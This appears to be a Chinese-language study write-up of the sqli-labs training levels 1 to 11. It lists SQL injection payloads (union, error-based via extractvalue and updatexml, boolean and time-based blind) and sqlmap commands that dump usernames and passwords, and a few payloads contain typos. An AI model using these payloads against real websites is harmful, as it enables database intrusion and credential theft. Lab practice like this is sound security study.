0%

sqli-labs

less-1


看报错可知,这是闭合单引号。

1
2
3
4
?id=1'order by 3 -- - #确定那个字段有回显
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- - #查询表名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- - #查询列名
?id=-1'union select 1,2,group_concat(username,'~',password) from users -- - #查询当前数据库user表里面的username和password。

用sqlmap更简单

1
2
3
4
5
sqlmap -u "ip?id=1"
sqlmap -u "ip?id=1" -dbs #列出所有数据库
sqlmap -u "ip?id=1" -D security -tables #列出当前数据库里的表
sqlmap -u "ip?id=1" -D security -T users -columns #列出表里的列
sqlmap -u "ip?id=1" -D security -T users -C username,password --dump #获取表里的数据

less-2


这一题就不用闭合,剩下的和第一题一样。

1
2
3
4
?id=1 order by 3 -- - 
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- -
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- -
?id=-1 union select 1,2,group_concat(username,'~',password) from users -- -

less-3


看错误提示可知,需要用')来闭合,剩下的和第一题一样。

1
2
3
4
?id=1') order by 3 -- - 
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- -
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- -
?id=-1') union select 1,2,group_concat(username,'~',password) from users -- -

less-4


看错误提示,可知闭合方式是"),但是单引号不会报错,剩下的和第一题一样。

1
2
3
4
?id=1") order by 3 -- - 
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- -
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- -
?id=-1") union select 1,2,group_concat(username,'~',password) from users -- -

less-5


根据错误可以判断是单引号报错。联合注入也没有办法用,可以使用报错注入。
extractvalue函数
payload:id=’and(select extractvalue(“anything”,concat(‘~’,(select语句))))

1
2
3
4
5
函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串

payload:

1
2
3
4
5
6
7
8
9
10
11
?id=-1'and (select extractvalue(1,concat("~",(select database()))))-- - #获取当前数据库的名称
?id=-1'and (select extractvalue(1,concat("~",substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31))))-- -
#查询当前数据库里所有的表
?id=-1'and (select extractvalue(1,concat("~",substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,31))))-- -
#查询表里列的名称
?id=-1'and (select extractvalue(1,concat("~",substr((select group_concat(username,'~',password) from users),1,31))))-- -
#查询表里面的内容



# extractvalue()函数能显示的最大长度为32,所以用substr()函数来分页,或者使用limit分页也可以。concat()里面的~也可以是其他的。

updatexml:
payload:id=’and(select updatexml(“anything”,concat(‘~’,(select语句())),”anything”))

1
2
3
4
?id=-1'and updatexml(1,concat('~',(select database())),1)-- -
?id=-1'and updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema=database() )),1)-- -
?id=-1'and updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users' )),1)-- -
?id=-1'and (select extractvalue(1,concat("~",substr((select group_concat(username,'~',password) from users),1,31))))-- -

floor:
payload:’union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from “一个足大的表” group by x)a

less-6

闭合方式为",报错注入仍可行。

less-7

文件读写注入,但是我怎么运行文件都不写入,放弃了。

less-8

布尔盲注。

1
2
3
4
5
?id=-1'and (ascii(substr(select database()),1,1))==115--+ #判断第一个数据库名字第一个字符的ascii码是否等于115
?id=1' and (ascii(substr((select database()) ,2,1))) = 101 --+ #判断第一个数据库名字第二个字符的ascii码是否等于101
?id=1'and (length(database())) = 8 --+ #判断数据库名字的长度是否等于8
?id=1'and (length(select table_name from information_schema.tables where table_schema='security' limit 3,1)) = 5 --+ #判断地三张表名字的长度是否为5
?id=1' and (length((select column_name from information_schema.columns where table_name='users' limit 1,1))) = 8 --+ #判断users表里地二个列名的长度是否为8

如果判断正确的话,页面返回正常。
好麻烦啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊。

less-9

时间盲注

1
id=1' and if(length(database())>3 ,sleep(5),1) -- - #如果数据库长度长于3的话,延迟5秒返回页面。

MySQL时间盲注五种延时方法

less-10

还是时间盲注,闭合方式为"

less-11


这个就在username上直接输入sql语句就行。
也可以用hackbar,Post传参。其他语句不变。.